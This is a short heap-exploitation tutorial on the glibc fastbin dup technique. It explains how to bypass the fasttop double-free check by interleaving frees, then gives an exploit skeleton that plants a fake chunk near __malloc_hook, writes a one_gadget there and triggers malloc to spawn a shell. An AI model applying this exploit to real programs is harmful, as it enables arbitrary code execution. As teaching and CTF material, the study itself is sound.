This attack leverages a double free bug to corrupt the fastbin metadata by inserting a fake chunk into a fastbin.

free(ptr);
free(ptr);

Executing the code above will result in a crash because of the fastbin double free check. The code responsible for performing fastbin double free check is:

if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
        malloc_printerr ("double free or corruption (fasttop)");
    p->fd = old;
    *fb = p;
}
 else{

 }

This mitigation checks if the value stored in a fastbin’s slot in the arena is same as the value being added. If yes, a double free will be detected. This can be easily bypassed :

free(ptr);
free(different_ptr);
free(ptr);

This will allow us to free a pointer twice. This double free bug can be used to insert fake chunks into the fastbin which are subjected to the fastbin size integrity check.

idx = fastbin_index (nb);
if (__glibc_likely (victim != NULL))
            {
              size_t victim_idx = fastbin_index (chunksize (victim));
              if (__builtin_expect (victim_idx != idx, 0))
                malloc_printerr ("malloc(): memory corruption (fast)");
              check_remalloced_chunk (av, victim, nb);

When a chunk is allocated from a fastbin, a check is made if the size field of the chunk malloc is about to allocate is same as the size of the fastbin it is being allocated from. If you have no control over the fake chunk size, you may use the pwndbg command find_fake_fast which will find fake chunks with a particular size field than can be used to perform a fastbin dup.

find_fake_fast &__malloc_hook

One such fake chunk is found at &__malloc_hook - 35. Thus, keeping the size field integrity check in mind, a fastbin dup can be performed by using 0x70 sized chunks.

fake_fast = __malloc_hook - 0x35

#Let's say, a function allocate is used to create a new chunk of some size, containing some data
ptr1 = allocate(0x68,b'a'*8)
ptr2 = allocate(0x68,b'a'*8)

Execute the double free

free(ptr1)
free(ptr2)
free(ptr1)

Continue the attack

#Insert the fake_fast chunk into the 0x70 fastbin.

allocate(0x68,p64(fake_fast))

allocate(0x68,b'a'*8)
allocate(0x68,b'a'*8)

#Write one_gadget into __malloc_hook

allocate(0x68,b'a'*19+p64(one_gadget))

#Call malloc to spawn a shell
allocate(....)